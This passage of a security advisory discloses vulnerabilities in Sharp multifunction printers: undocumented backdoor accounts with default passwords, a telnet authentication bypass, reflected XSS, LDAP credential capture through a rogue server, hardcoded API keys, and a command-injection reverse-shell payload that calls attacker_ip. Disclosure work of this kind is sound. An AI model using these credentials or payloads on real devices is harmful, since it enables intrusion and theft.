\/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>An attacker can modify parameters of the printers without authentication.<\/p>\n<p>The vendor confirmed this is the attended behavior.<\/p>\n<p>## Details &#8211; Reboot without authentication &#8211; Remote DoS<\/p>\n<p>It was observed that a specific webpage is reachable without<br \/>authentication on Sharp printers. Any attacker can use this webpage to<br \/>reboot the printer.<\/p>\n<p>It is possible to reboot the printer by visiting the<br \/>\/sys_trayentryreboot.html without authentication.<\/p>\n<p>When confirming the `Reboot Now` action, the printer will reboot:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>The printer will then reboot and will be unreachable for some minutes:<\/p>\n<p>PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.<br \/>^C<br \/>&#8212; 10.0.0.1 ping statistics &#8212;<br \/>5 packets transmitted, 0 received, 100% packet loss, time 4083ms<\/p>\n<p>An attacker can DoS the printer by rebooting it indefinitely.<\/p>\n<p>## Details &#8211; Backdoor access &#8211; Service<\/p>\n<p>Sharp printers are configured with default credentials. Some accounts<br \/>are hidden and can be abused by attackers to compromise the printers.<\/p>\n<p>When analyzing the configuration of the printers, it appears there are<br \/>several accounts visible on the web interface:<\/p>\n<p>&#8211; &#8211; `Administrator` (uid 3)<br \/>&#8211; &#8211; `System Administrator` (uid 8, as `System Operator`)<br \/>&#8211; &#8211; `User` (uid 5)<br \/>&#8211; &#8211; `Device Account` (uid 9)<br \/>&#8211; &#8211; `Other User` (uid 1)<\/p>\n<p>After doing reverse engineering, the default passwords have been obtained:<\/p>\n<p>&#8211; &#8211; System Administrator: sysadmin<br \/>&#8211; &#8211; User: users<br \/>&#8211; &#8211; Device Account: deviceaccount<br \/>&#8211; &#8211; Other User: Other<\/p>\n<p>The Service account (corresponding to uid 4) does not appear on the<br \/>user list, is not documented and allows an attacker to change the<br \/>configuration of the printers and update the firmware image. The<br \/>password for Service is `service`.<\/p>\n<p>Several webpages can be found corresponding to this service user:<\/p>\n<p>&#8211; &#8211; \/devicecloning_pp.html<br \/>&#8211; &#8211; \/devicecloning.html<br \/>&#8211; &#8211; \/service_ura_status_page.html<br \/>&#8211; &#8211; \/service_testpage_ok.html<br \/>&#8211; &#8211; \/service_testpage.html<br \/>&#8211; &#8211; \/service_syslog_view.html<br \/>&#8211; &#8211; \/service_syslog_settings_storage.html<br \/>&#8211; &#8211; \/service_syslog_settings_server.html<br \/>&#8211; &#8211; \/service_syslog_setting.html<br \/>&#8211; &#8211; \/service_syslog_select.html<br \/>&#8211; &#8211; \/service_syslog_save.html<br \/>&#8211; &#8211; \/service_syslog_download.html<br \/>&#8211; &#8211; \/service_softsw.html<br \/>&#8211; &#8211; \/service_reboot.html<br \/>&#8211; &#8211; \/serfildata_savepc.html<br \/>&#8211; &#8211; \/service_account.html<br \/>&#8211; &#8211; \/service_admin.html<br \/>&#8211; &#8211; \/service_device_cloning.html<br \/>&#8211; &#8211; \/service_filingdata.html<br \/>&#8211; &#8211; \/service_testpage.html<br \/>&#8211; &#8211; \/service_firm.html<br \/>&#8211; &#8211; \/service_testpage.html<br \/>&#8211; &#8211; \/service_font_down.html<br \/>&#8211; &#8211; \/service_joblog.html<br \/>&#8211; &#8211; \/service_joblog_list.html<br \/>&#8211; &#8211; \/service_joblog_download.html<br \/>&#8211; &#8211; \/service_joblog_select.html<br \/>&#8211; &#8211; \/service_joblog_list_download.html<br \/>&#8211; &#8211; \/service_machineid.html<br \/>&#8211; &#8211; \/service_password.html<br \/>&#8211; &#8211; \/sys_paperproperty.html<br \/>&#8211; &#8211; \/sys_paperproperty_entry.html<\/p>\n<p>Listing of users:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>The service account can be discovered by visiting the webpage<br \/>http:\/\/[ip]\/account_user_entry.html?userid=-4 but the information<br \/>cannot be edited:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>The `service` account can be used to change the configuration of the<br \/>printer. The default webpage is http:\/\/[ip]\/service_testpage.html and<br \/>provides access to a lot of hidden functionalities:<\/p>\n<p>&#8211; &#8211; Device Cloning<br \/>&#8211; &#8211; Update of the firmware image to insert a malicious firmware image<br \/>&#8211; &#8211; Export settings<br \/>&#8211; &#8211; Configuration of the log server (disabling the logs, erasing the logs, &#8230;)<\/p>\n<p>Device cloning:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>Update of the firmware:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>An attacker can use this additional backdoor account to compromise the printers.<\/p>\n<p>## Details &#8211; Backdoor access &#8211; FSS User<\/p>\n<p>Sharp printers are configured with default credentials. Some accounts<br \/>are hidden and can be abused by attackers to compromise the printers.<\/p>\n<p>When analyzing the configuration of the printers, it appears there are<br \/>several accounts visible on the web interface:<\/p>\n<p>&#8211; &#8211; `Administrator` (uid 3)<br \/>&#8211; &#8211; `System Administrator` (uid 8, as `System Operator`)<br \/>&#8211; &#8211; `User` (uid 5)<br \/>&#8211; &#8211; `Device Account` (uid 9)<br \/>&#8211; &#8211; `Other User` (uid 1)<\/p>\n<p>After doing reverse engineering, the default passwords have been obtained:<\/p>\n<p>&#8211; &#8211; System Administrator: sysadmin<br \/>&#8211; &#8211; User: users<br \/>&#8211; &#8211; Device Account: deviceaccount<br \/>&#8211; &#8211; Other User: Other<\/p>\n<p>The FSS User account (corresponding to uid 7) does not appear on the<br \/>user list, is not documented and allows an attacker to change the<br \/>configuration of the printers and update the firmware image.<\/p>\n<p>The password for FSS User is `servicefss`.<\/p>\n<p>The FSS User has also admin privileges.<\/p>\n<p>Several webpages can be found corresponding to this service user:<\/p>\n<p>&#8211; &#8211; \/fss_default.html<br \/>&#8211; &#8211; \/fss.html<br \/>&#8211; &#8211; \/fss_password.html<br \/>&#8211; &#8211; \/fss_account.html<br \/>&#8211; &#8211; \/fss_backup_export.html<br \/>&#8211; &#8211; \/fss_backup.html<br \/>&#8211; &#8211; \/fss_backup_reboot.html<\/p>\n<p>The service account can be discovered by visiting the webpage<br \/>http:\/\/[ip]\/account_user_entry.html?userid=-7 but the information<br \/>cannot be edited:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>The FSS User account can be used to change the configuration of the<br \/>printer. The default webpage is http:\/\/[ip]\/fss.html and provides<br \/>access to hidden functionalities related to the support and a blind<br \/>SSRF vulnerability:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>Reboot of the printer:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>An attacker can use this additional backdoor account to compromise the printers.<\/p>\n<p>## Details &#8211; Insecure default credentials<\/p>\n<p>Sharp printers are configured with default and insecure credentials.<\/p>\n<p>When doing reverse engineering against the `main` binary located<br \/>inside the Sharp firmware image, we can extract the list of passwords<br \/>for:<\/p>\n<p>&#8211; &#8211; `Administrator` \/ `admin`<br \/>&#8211; &#8211; `Other User` \/ `Other`<br \/>&#8211; &#8211; `Device Account` \/ `deviceaccount`<br \/>&#8211; &#8211; `FSS User` \/ `servicefss`<br \/>&#8211; &#8211; `Service` \/ `service`<br \/>&#8211; &#8211; `User` \/ `users`<br \/>&#8211; &#8211; `System Operator` \/ `sysadmin`<\/p>\n<p>Listing of username when analyzing main:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>The listing of users can be retrieved from the web interface, using<br \/>the admin user:<\/p>\n<p>&#8211; &#8211; `Other User` &#8211; http:\/\/[ip]\/account_user_entry.html?userid=-1<br \/>&#8211; &#8211; `Vender` &#8211; http:\/\/[ip]\/account_user_entry.html?userid=-2<br \/>&#8211; &#8211; `Administrator` &#8211; http:\/\/[ip]\/account_user_entry.html?userid=-3<br \/>&#8211; &#8211; `Service` &#8211; http:\/\/[ip]\/account_user_entry.html?userid=-4<br \/>&#8211; &#8211; `User` &#8211; http:\/\/[ip]\/account_user_entry.html?userid=-5<br \/>&#8211; &#8211; `Vender2` &#8211; http:\/\/[ip]\/account_user_entry.html?userid=-6<br \/>&#8211; &#8211; `FSS User` &#8211; http:\/\/[ip]\/account_user_entry.html?userid=-7, with<br \/>admin privileges<br \/>&#8211; &#8211; `System Operator` &#8211; http:\/\/[ip]\/account_user_entry.html?userid=-8<br \/>&#8211; &#8211; `Device Account` &#8211; http:\/\/[ip]\/account_user_entry.html?userid=-9,<br \/>with admin privileges<\/p>\n<p>An attacker can use these default accounts to compromise the printers.<\/p>\n<p>The vendor confirmed this is the attended behavior.<\/p>\n<p>## Details &#8211; read admin access on telnet<\/p>\n<p>It is possible to bypass the authentication of the telnet server of<br \/>any Sharp Printer (running any firmware version) by specifying an<br \/>invalid user.<\/p>\n<p>This authentication bypass provides an attacker with a full READ admin<br \/>access to the printer.<\/p>\n<p>Without the corresponding password of the admin user, the access will be denied:<\/p>\n<p>kali% telnet 10.0.0.1<br \/>Trying 10.0.0.1&#8230;<br \/>Connected to 10.0.0.1.<br \/>Escape character is &#8216;^]&#8217;.<br \/>SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server.<br \/>Copyright(C) 2005- SHARP CORPORATION<br \/>Copyright(C) 2005- silex technology, Inc.<br \/>login: admin<br \/>&#8216;admin&#8217; user needs password to login.<br \/>password:<br \/>Login incorrect.<br \/>Connection closed by foreign host.<br \/>kali%<\/p>\n<p>It is possible to send an invalid username (e.g.<br \/>`adminAAAAAAAAAAAAAAAA[&#8230;]`) to bypass the authentication and get<br \/>READ access with admin privileges:<\/p>\n<p>kali% telnet 10.0.0.1<br \/>Trying 10.0.0.1&#8230;<br \/>Connected to 10.0.0.1.<br \/>Escape character is &#8216;^]&#8217;.<br \/>SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server.<br \/>Copyright(C) 2005- SHARP CORPORATION<br \/>Copyright(C) 2005- silex technology, Inc.<br \/>login: adminAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br \/>User &#8216;adminAAA&#8217; logged in.<\/p>\n<p>No. Item Value (level.1)<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>1 : Configure General<br \/>2 : Configure TCP\/IP<br \/>3 : Configure NetWare<br \/>4 : Configure AppleTalk<br \/>5 : Configure NetBIOS<br \/>6 : Configure AP I\/F<br \/>7 : Configure Gateway<br \/>97 : Display Status<br \/>98 : Reset Settings to Defaults<br \/>99 : Exit<br \/>Please select(1 &#8211; 99)? 1<\/p>\n<p>No. Item Value (level.2)<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>1 : Print status page after bootup : NO<br \/>2 : SSL Mode : ALL<br \/>3 : Rendezvous Enable : ENABLE<br \/>4 : Rendezvous Name : &#8220;MX-M365N&#8221;<br \/>5 : SMBC Enable : ENABLE<br \/>6 : 802.1X auth<br \/>7 : Frame Size : 1514<br \/>8 : SMB Authentication Flags : 15<br \/>99 : Back to prior menu<br \/>Please select(1 &#8211; 99)? 99<\/p>\n<p>No. Item Value (level.1)<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>1 : Configure General<br \/>2 : Configure TCP\/IP<br \/>3 : Configure NetWare<br \/>4 : Configure AppleTalk<br \/>5 : Configure NetBIOS<br \/>6 : Configure AP I\/F<br \/>7 : Configure Gateway<br \/>97 : Display Status<br \/>98 : Reset Settings to Defaults<br \/>99 : Exit<\/p>\n<p>Please select(1 &#8211; 99)?<\/p>\n<p>## Details &#8211; XSS on the \/login.html page<\/p>\n<p>There are 2 reflected XSS vulnerabilities located in the `\/login.html` webpage.<\/p>\n<p>HTTP request sent to `\/login.html`, with the query string containing<br \/>the payload `&lt;XSS&gt;&#8221;;alert(&#8216;XSS&#8217;);&#8221;`:<\/p>\n<p>The first XSS appears on the response on line 32:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>The second XSS appears on the response on line 183:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>## Details &#8211; XSS on all other HTML pages<\/p>\n<p>There are 3 reflected XSS vulnerabilities located in all the html webpages.<\/p>\n<p>An attacker can send a HTTP request to any HTML webpage with the query<br \/>string containing `&#8221;;alert(1);&lt;XSS&gt;` to trigger:<\/p>\n<p>&#8211; &#8211; 2 JavaScript-based XSS<br \/>&#8211; &#8211; 1 HTML based XSS<\/p>\n<p>The HTTP request is sent to `\/main.html`, with the query string<br \/>containing the payload `&#8221;;alert(1);&lt;XSS&gt;`:<\/p>\n<p>The first XSS appears on the response on line 32:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>The second XSS appears on the response on line 87:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>The third XSS appears on the response on line 221:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>&#8211; From the tests, all the HTML webpages are vulnerable to these 3 XSS.<\/p>\n<p>## Details &#8211; Exfiltration of LDAP credentials by downgrading the security<\/p>\n<p>Sharp printers can be configured with a connection to a LDAP server,<br \/>with credentials.<\/p>\n<p>While the LDAP password is not shown on the web interface, an attacker<br \/>with the admin password can retrieve the password by downgrading the<br \/>authentication type to `SIMPLE`, which will enable clear-text<br \/>communication to a malicious server.<\/p>\n<p>With the `Connect Test`, an attacker can downgrade the security of the<br \/>authentication to `SIMPLE` and retrieve the password in clear-text by<br \/>specifying a malicious OpenLDAP server:<\/p>\n<p>LDAP Configuration &#8211; http:\/\/10.0.0.1\/nw_ldap_entry.html?ldapid=0:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>With a malicious OpenLDAP server receiving the connection, the<br \/>password will be displayed in the logs:<\/p>\n<p>kali# \/usr\/sbin\/slapd -d 10 -f \/etc\/ldap\/slapd.conf -h &#8220;ldap:\/\/\/ ldaps:\/\/\/&#8221;<br \/>6458d55e.3103c227 0x7fe72981e200 @(#) $OpenLDAP: slapd<br \/>2.5.13+dfsg-5 (Feb 8 2023 01:56:12) $<br \/>Debian OpenLDAP Maintainers<br \/>&lt;pkg-openldap-devel@lists.alioth.debian.org&gt;<br \/>6458d55e.319e91af 0x7fe72981e200 slapd starting<br \/>6458d55e.31a5bad7 0x7fe727bff6c0 daemon: added 4r listener=(nil)<br \/>6458d55e.31a6707c 0x7fe727bff6c0 daemon: added 7r listener=0x5586390ead60<br \/>6458d55e.31a6b53d 0x7fe727bff6c0 daemon: added 8r listener=0x5586390eae30<br \/>6458d55e.31a6f00d 0x7fe727bff6c0 daemon: added 9r listener=0x5586390ea740<br \/>6458d55e.31a7661d 0x7fe727bff6c0 daemon: added 10r listener=0x5586390ea810<br \/>6458d55e.31a94b33 0x7fe727bff6c0 daemon: epoll: listen=7<br \/>active_threads=0 tvp=zero<br \/>6458d55e.31a96f6a 0x7fe727bff6c0 daemon: epoll: listen=8<br \/>active_threads=0 tvp=zero<br \/>6458d55e.31a97916 0x7fe727bff6c0 daemon: epoll: listen=9<br \/>active_threads=0 tvp=zero<br \/>6458d55e.31a981b7 0x7fe727bff6c0 daemon: epoll: listen=10<br \/>active_threads=0 tvp=zero<br \/>6458d55e.31a9933f 0x7fe727bff6c0 daemon: activity on 1 descriptor<br \/>6458d55e.31a99baf 0x7fe727bff6c0 daemon: activity<br \/>on:6458d55e.31a9a375 0x7fe727bff6c0<br \/>6458d55e.31a9b6dc 0x7fe727bff6c0 daemon: epoll: listen=7<br \/>active_threads=0 tvp=zero<br \/>6458d55e.31a9d392 0x7fe727bff6c0 daemon: epoll: listen=8<br \/>active_threads=0 tvp=zero<br \/>6458d55e.31a9dc6e 0x7fe727bff6c0 daemon: epoll: listen=9<br \/>active_threads=0 tvp=zero<br \/>6458d55e.31a9f2b6 0x7fe727bff6c0 daemon: epoll: listen=10<br \/>active_threads=0 tvp=zero<br \/>6458d562.355e84dc 0x7fe727bff6c0 daemon: activity on 1 descriptor<br \/>6458d562.355f3b42 0x7fe727bff6c0 daemon: activity<br \/>on:6458d562.355f593f 0x7fe727bff6c0<br \/>6458d562.355fde77 0x7fe727bff6c0 daemon: epoll: listen=7 busy<br \/>6458d562.355ffeb9 0x7fe727bff6c0 daemon: epoll: listen=8<br \/>active_threads=0 tvp=zero<br \/>6458d562.35601b67 0x7fe727bff6c0 daemon: epoll: listen=9<br \/>active_threads=0 tvp=zero<br \/>6458d562.3560372e 0x7fe727bff6c0 daemon: epoll: listen=10<br \/>active_threads=0 tvp=zero<br \/>6458d562.35638596 0x7fe7273fe6c0 daemon: accept() = 14<br \/>6458d562.35646744 0x7fe7273fe6c0 daemon: listen=7, new connection on 14<br \/>6458d562.3564fc1e 0x7fe727bff6c0 daemon: activity on 1 descriptor<br \/>6458d562.35656f57 0x7fe727bff6c0 daemon: activity<br \/>on:6458d562.35658b4c 0x7fe727bff6c0<br \/>6458d562.3565d7f5 0x7fe727bff6c0 daemon: epoll: listen=7<br \/>active_threads=0 tvp=zero<br \/>6458d562.3565fb50 0x7fe727bff6c0 daemon: epoll: listen=8<br \/>active_threads=0 tvp=zero<br \/>6458d562.356615c1 0x7fe727bff6c0 daemon: epoll: listen=9<br \/>active_threads=0 tvp=zero<br \/>6458d562.35662d31 0x7fe727bff6c0 daemon: epoll: listen=10<br \/>active_threads=0 tvp=zero<br \/>6458d562.35691b42 0x7fe7273fe6c0 daemon: added 14r (active) listener=(nil)<br \/>6458d562.356a5b81 0x7fe727bff6c0 daemon: activity on 2 descriptors<br \/>6458d562.356b0c68 0x7fe727bff6c0 daemon: activity<br \/>on:6458d562.356b54fa 0x7fe727bff6c0 14r6458d562.356b948e<br \/>0x7fe727bff6c0<br \/>6458d562.356bfc9e 0x7fe727bff6c0 daemon: read active on 14<br \/>6458d562.356ce70e 0x7fe727bff6c0 daemon: epoll: listen=7<br \/>active_threads=0 tvp=zero<br \/>6458d562.356d5571 0x7fe727bff6c0 daemon: epoll: listen=8<br \/>active_threads=0 tvp=zero<br \/>6458d562.356db465 0x7fe727bff6c0 daemon: epoll: listen=9<br \/>active_threads=0 tvp=zero<br \/>6458d562.356e155f 0x7fe727bff6c0 daemon: epoll: listen=10<br \/>active_threads=0 tvp=zero<br \/>6458d562.356f5783 0x7fe7273fe6c0 ldap_read: want=8, got=8<br \/>6458d562.356f9399 0x7fe7273fe6c0 0000: 30 31 02 01 01 01 01 01<br \/>01&#8230;&#8230;<br \/>6458d562.356fd33a 0x7fe7273fe6c0 ldap_read: want=43, got=43<br \/>6458d562.3570169a 0x7fe7273fe6c0 0000: 01 03 04 15 6c 64 61 70<br \/>2d 63 72 65 64 73 35 40 &#8230;.ldap-creds5@<br \/>6458d562.357033a1 0x7fe7273fe6c0 0010: 64 6f 6d 61 69 6e 2e 6c<br \/>61 2e 2e 50 41 53 53 57 domain.la..PASSW<br \/>6458d562.35704d44 0x7fe7273fe6c0 0020: 4f 52 44 2d 49 4e 2d 43<br \/>4c 45 41 52 ORD-IN-CLEAR<br \/>6458d562.357231ef 0x7fe7273fe6c0 ldap_read: want=8 error=Resource<br \/>temporarily unavailable<\/p>\n<p>It is also possible to use wireshark to display the password.<\/p>\n<p>## Details &#8211; Hardcoded Google API Keys<\/p>\n<p>The printers contain private API Keys in the `main` program.<\/p>\n<p>It is possible to retrieve specific googlecontent.com domain names in<br \/>the main program:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>Reverse Engineering of the `sub_2146D54()` function defined in the<br \/>main program will reveal some hardcoded keys:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>The domains listed in the binary are:<\/p>\n<p>&#8211; &#8211; 265490466885-m5cjvglv9q8aak493cgepe7juvafgh8c.apps.googleusercontent.com<br \/>&#8211; &#8211; 347970444986-0pij6u2tfhb240edjmls3h1u8qm2v2b3.apps.googleusercontent.com<br \/>&#8211; &#8211; 410988772526-6ujegl6jvquh9kstiegva8fk5j2ogag9.apps.googleusercontent.com<br \/>&#8211; &#8211; 292646726735-033ggn9hmlrs8bntrj0fbstob9m8qt26.apps.googleusercontent.com<\/p>\n<p>These domains do not appear to be used anymore and are free for any<br \/>user. An attacker can use them to receive traffic from the printers.<\/p>\n<p>## Details &#8211; Hardcoded Amazon API Keys<\/p>\n<p>The printers contain private API Keys in the `main` program.<\/p>\n<p>It is possible to retrieve a specific amazonaws.com address in the<br \/>`main` program:<\/p>\n<p>&#8211; &#8211; https:\/\/7db3z5d116.execute-api.ap-northeast-1.amazonaws.com\/prod\/MFPDataAlalytics<\/p>\n<p>When Cross-referencing this address, it appears that some private API<br \/>keys are hardcoded in the program, as shown below:<\/p>\n<p>&#8211; &#8211; Postman private key: `44688039-5104-39be-f974-c1f5ef621a5f`<br \/>&#8211; &#8211; API-KEY: `PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9YwWA`<\/p>\n<p>Reverse Engineering of the sub_20D542C function defined in the `main` program:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>We can see that curl is invoked with the `-k` option (aka<br \/>`&#8211;insecure`) so any invalid SSL certificate will be accepted:<\/p>\n<p>The pseudo-code of `sub_20D542C()` is:<\/p>\n<p>int __fastcall sub_20D542C(const char *a1, const char *a2)<br \/>{<br \/>&#8230;<br \/>if ( sub_6A0DA0(606420, 0) )<br \/>{<br \/>sub_6A174C((char *)&amp;loc_940DC + 2, v4, 255);<br \/>sub_6A174C((char *)&amp;loc_940DC + 3, v6, 80);<br \/>sub_6A174C(606432, v7, 80);<br \/>if ( !*v6 )<br \/>j_strncpy_0(v6, &#8220;user&#8221;, 0x50u);<br \/>v11 = sub_6A107C(&amp;loc_940E8, 3080);<br \/>j_snprintf(<br \/>v9,<br \/>0x800u,<br \/>&#8220;\/usr\/bin\/curl -k -o %s -U %s:%s -x %s:%d -X POST -d<br \/>@\\&#8221;%s\\&#8221; -H \\&#8221;x-api-key: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDut&#8221;<br \/>&#8220;aXS9YwWA\\&#8221; -H \\&#8221;Cache-Control: no-cache\\&#8221; -H<br \/>\\&#8221;Postman-Token: 44688039-5104-39be-f974-c1f5ef621a5f\\&#8221; -L \\&#8221;%s\\&#8221;&#8221;,<br \/>a2,<br \/>v6,<br \/>v7,<br \/>v4,<br \/>v11,<br \/>a1,<\/p>\n<p>&#8220;https:\/\/7db3z5d116.execute-api.ap-northeast-1.amazonaws.com\/prod\/MFPDataAlalytics&#8221;);<br \/>sub_20D7E20(<br \/>&#8220;[analy][curl] \/usr\/bin\/curl -k -o %s -U %s:xxx -x<br \/>%s:%d -X POST -d @\\&#8221;%s\\&#8221; -H \\&#8221;x-api-key: PBYXSIK6av8fBt8Q&#8221;<br \/>&#8220;e1EQUaF9ZaKvTDutaXS9YwWA\\&#8221; -H \\&#8221;Cache-Control:<br \/>no-cache\\&#8221; -H \\&#8221;Postman-Token: 44688039-5104-39be-f974-c1f5ef&#8221;<br \/>&#8220;621a5f\\&#8221; -L \\&#8221;%s\\&#8221;\\n&#8221;,<br \/>a2,<br \/>v6,<br \/>v4,<br \/>v11,<br \/>a1,<\/p>\n<p>&#8220;https:\/\/7db3z5d116.execute-api.ap-northeast-1.amazonaws.com\/prod\/MFPDataAlalytics&#8221;);<br \/>}<br \/>else<br \/>{<br \/>j_snprintf(<br \/>v9,<br \/>0x800u,<br \/>&#8220;\/usr\/bin\/curl -k -o %s -X POST -d @\\&#8221;%s\\&#8221; -H<br \/>\\&#8221;x-api-key: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9YwWA\\&#8221; -H \\&#8221;Ca&#8221;<br \/>&#8220;che-Control: no-cache\\&#8221; -H \\&#8221;Postman-Token:<br \/>44688039-5104-39be-f974-c1f5ef621a5f\\&#8221; -L \\&#8221;%s\\&#8221;&#8221;,<br \/>a2,<br \/>a1,<\/p>\n<p>&#8220;https:\/\/7db3z5d116.execute-api.ap-northeast-1.amazonaws.com\/prod\/MFPDataAlalytics&#8221;);<br \/>sub_20D7E20(<br \/>&#8220;[analy][curl] \/usr\/bin\/curl -k -o %s -X POST -d<br \/>@\\&#8221;%s\\&#8221; -H \\&#8221;x-api-key: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9&#8243;<br \/>&#8220;YwWA\\&#8221; -H \\&#8221;Cache-Control: no-cache\\&#8221; -H<br \/>\\&#8221;Postman-Token: 44688039-5104-39be-f974-c1f5ef621a5f\\&#8221; -L \\&#8221;%s\\&#8221;\\n&#8221;,<br \/>a2,<br \/>a1,<\/p>\n<p>&#8220;https:\/\/7db3z5d116.execute-api.ap-northeast-1.amazonaws.com\/prod\/MFPDataAlalytics&#8221;);<br \/>}<br \/>v12 = j_mfp_system((int)v9);<\/p>\n<p>## Details &#8211; CVE-2022-45796 &#8211; RCE<\/p>\n<p>Since the PoC for CVE-2022-45796 was not public, an authenticated<br \/>admin user can go to http:\/\/ip\/nw_interface.html and use the IPv6 IP<br \/>field to exploit a command injection:<\/p>\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n[please use the HTML version at<br \/>https:\/\/pierrekim.github.io\/blog\/2024-06-27-sharp-mfp-17-vulnerabilities.html]\n<p>Using Burp, an attacker can intercept the resulting request and inject<br \/>a command inside the vulnerable `ggt_textbox(16)` field, for example,<br \/>`ggt_textbox%2816%29=%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2Fattacker_ip%2F443+0%3E%261`<br \/>corresponding to the payload `|bash -i \/dev\/tcp\/attacker_ip\/443 0&gt;&amp;1`.<\/p>\n<p>The attacker will receive a root shell from the printers and will get<br \/>a full admin access, allowing to backdoor the printer for persistence:<\/p>\n<p>kali% nc -l -v -p 443<br \/>listening on [any] 443 &#8230;<br \/>10.0.0.1: inverse host lookup failed: Unknown host<br \/>connect to [10.0.0.10] from (UNKNOWN) [10.0.0.1] 58196<br \/>bash: cannot set terminal process group (619): Inappropriate ioctl<br \/>for device<br \/>bash: no job control in this shell<br \/>bash-4.3# id<br \/>uid=0(root) gid=0(root) 